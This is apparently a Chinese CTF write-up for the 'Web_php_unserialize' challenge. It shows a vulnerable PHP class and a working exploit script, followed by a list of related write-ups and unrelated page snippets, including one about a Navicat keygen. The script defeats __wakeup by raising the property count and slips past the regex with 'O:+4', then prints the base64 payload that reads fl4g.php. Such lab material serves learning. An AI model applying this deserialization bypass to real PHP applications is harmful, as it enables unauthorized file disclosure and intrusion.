0x01

<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>

0x02 代码分析

一个类

将传入的参数base64解码

正则匹配,绕过

反序列化,绕过__wakeup

当wakeup序列化后的属性值比原值大时,则会跳过wakeup,以此绕过

<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
} $a=new Demo('fl4g.php');
$b=serialize($a); //O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";} //绕过wakeup,属性值比原值大
$b=str_replace(":1:", ":2:", $b); //绕过preg_match,4,变为+4
$b=str_replace("O:4", "O:+4", $b);
var_dump($b); //string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}" $b=base64_encode($b);
var_dump($b); ////string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>

参考链接:

https://blog.csdn.net/qq_40884727/article/details/101162105

https://www.cnblogs.com/gaonuoqi/p/11896281.html

Web_php_unserialize的更多相关文章

  1. 攻防世界(三)Web_php_unserialize

    攻防世界系列:Web_php_unserialize 0x01.代码审计 1.类Demo中struct().destruct()函数分别在代码执行开始和结束时调用.而wakeup函数会在代码执行过程中 ...

  2. 攻防世界 WEB 高手进阶区 XCTF Web_php_unserialize Writeup

    攻防世界 WEB 高手进阶区 XCTF Web_php_unserialize Writeup 题目介绍 题名考点 PHP反序列化漏洞 正则匹配 Writeup <?php class Demo ...

  3. 攻防世界Web_php_unserialize

    本文借鉴 https://blog.csdn.net/qq_40884727/article/details/101162105 打开页面得到源码 <?php class Demo { priv ...

  4. Web_php_unserialize解题思路

    分析一下 __construct:当使用 new 操作符创建一个类的实例时,构造方法将会自动调用 __destuct:在销毁一个类之前执行执行 __wakeup,unserialize()` 会检查是 ...

  5. Web_php_unserialize 攻防世界

    1.$var输入处有一个正则过滤 2._wakeup处需要过滤 编写脚本如下 后在网页输入?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4Oi ...

  6. XCTF(Web_php_unserialize)

    拿到题目,是个这, 我们来一波代码审计 1 <?php 2 class Demo { 3 private $file = 'index.php'; 4 public function __con ...

  7. 攻防世界之Web_php_unserialize

    题目: <?php class Demo {     private $file = 'index.php';    public function __construct($file) {   ...

  8. CTF-WEB-XTCTF-Web_php_unserialize

    题目来源 XTCTF-Web_php_unserialize 题目考点:PHP代码审计.PHP正则.PHP序列化与反序列化 解题思路 题目源码 <?php class Demo { privat ...

  9. 攻防世界 WriteUp

    附:|>>>攻防世界-WEB-新手练习区<<<| WriteUp目录 01.|>>>baby_web<<<| 02.|>& ...

随机推荐

  1. [linux][nginx] 常用

    原文链接http://www.cnblogs.com/codingcloud/p/5095066.html 启动 启动代码格式:nginx安装目录地址 -c nginx配置文件地址 例如: [root ...

  2. ASP.NET母版页

    ASP.NET母版页:主要是设置一致界面的页面,在固定的页中进行更新. 如图1-1所示 页头 页中(页内容) 页尾 图1-1  母版页 一般网页是固定页头和页尾,只更新页内容,来实现网页的跳转或内容的 ...

  3. Exercise

    """ 问:执行完下面的代码后, l,m的内容分别是什么? """ def func(m): for k,v in m.items(): m ...

  4. 最新版navicat 12.1 破解(Keygen注册机)

    最新注册机链接:https://pan.baidu.com/s/1fFCRkkXMzk6CFpbttCDr7w   提取码:40xo 1.下载安装Navicat 在Navicat关闭的情况下运行注册机 ...

  5. Service Location Protocol SLP

    https://www.ibm.com/developerworks/cn/linux/l-slp/ 服务发现(service discovery) 是在网络环境中发现必须使用的服务的能力.例如,如果 ...

  6. 深入理解TCP建立和关闭连接

    建立连接: 理解:窗口和滑动窗口TCP的流量控制TCP使用窗口机制进行流量控制什么是窗口?连接建立时,各端分配一块缓冲区用来存储接收的数据,并将缓冲区的尺寸发送给另一端 接收方发送的确认信息中包含了自 ...

  7. Jetson AGX Xavier刷机

    1. 准备一台电脑做主机(host),运行Ubuntu系统,我用的是虚拟机,运行的是Ubuntu 18.04系统. 2. 主机更换apt-get源,参见https://www.cnblogs.com/ ...

  8. java并发中ExecutorService的使用

    文章目录 创建ExecutorService 为ExecutorService分配Tasks 关闭ExecutorService Future ScheduledExecutorService Exe ...

  9. 如何在Spring boot中修改默认端口

    文章目录 介绍 使用Property文件 在程序中指定 使用命令行参数 值生效的顺序 如何在Spring boot中修改默认端口 介绍 Spring boot为应用程序提供了很多属性的默认值.但是有时 ...

  10. poj_1323 Game Prediction 贪心

    Game Prediction Time Limit: 1000MS   Memory Limit: 10000K Total Submissions: 11814   Accepted: 5701 ...